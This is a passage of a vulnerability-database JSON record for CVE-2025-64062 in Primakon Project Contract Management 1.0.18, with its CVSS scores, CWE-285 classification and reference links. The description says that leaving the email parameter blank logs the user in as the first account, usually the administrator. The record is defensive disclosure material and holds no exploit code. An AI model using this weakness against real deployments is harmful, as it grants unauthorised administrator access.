Also, if the email parameter is left blank, the application defaults to the first user in the list, who is typically the application administrator, resulting in an immediate Privilege Escalation to the highest level."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:primakon:project_contract_management:1.0.18:*:*:*:*:*:*:*", "matchCriteriaId": "48EDD273-2C46-43C9-9473-27D2C14040CB"}]}]}], "references": [{"url": "https://github.com/n3k7ar91/Vulnerabilites/blob/main/Primakon/CVE-2025-64062.md", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.primakon.com/rjesenja/primakon-pcm/", "source": "[email protected]", "tags": ["Product"]}]}}
